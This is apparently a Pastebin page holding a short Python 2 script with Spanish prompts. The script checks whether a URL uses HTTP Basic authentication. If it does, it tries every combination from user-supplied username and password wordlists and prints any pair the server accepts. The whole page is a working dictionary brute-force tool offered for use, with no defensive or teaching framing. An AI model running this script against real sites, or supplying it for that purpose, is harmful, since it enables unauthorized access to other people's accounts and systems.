Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import base64
- import httplib
- print "Inserta la URL: "
- url=raw_input()
- pagina=httplib.HTTP(url)
- pagina.putrequest("GET" , "/")
- pagina.endheaders()
- codigo=pagina.getreply()[0]
- if codigo==401:
- print url, "Si usa autentificacion basica"
- file_user=open(raw_input("Ingresa el diccionario de users: "),"r")
- file_pass=open(raw_input("Ingresa el diccionario de passwords: "),"r")
- users=(file_user.read()).split("\n")
- passwds=(file_pass.read()).split("\n")
- print "Realizando escaneo puede tardar dependiendo del tamano del diccionario \n y de el estado de la red"
- for user in users:
- for psswd in passwds:
- auth=base64.encodestring(user+":"+psswd)[:-1]
- autheader="Basic "+auth
- pagina1=httplib.HTTP(url)
- pagina1.putrequest("GET" , "/")
- pagina1.putheader("User-Agent", "Test")
- pagina1.putheader("Authorization", autheader)
- pagina1.endheaders()
- reply=pagina1.getreply()[0]
- if reply==200:
- print "Usuario: ", user," Password:" ,psswd
- break
- del pagina1
- if reply==200:
- break
- if reply!=200:
- print "No hay resultados, prueba con otro diccionario"
- else:
- print url, "no usa autentificacion basica HTTP"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement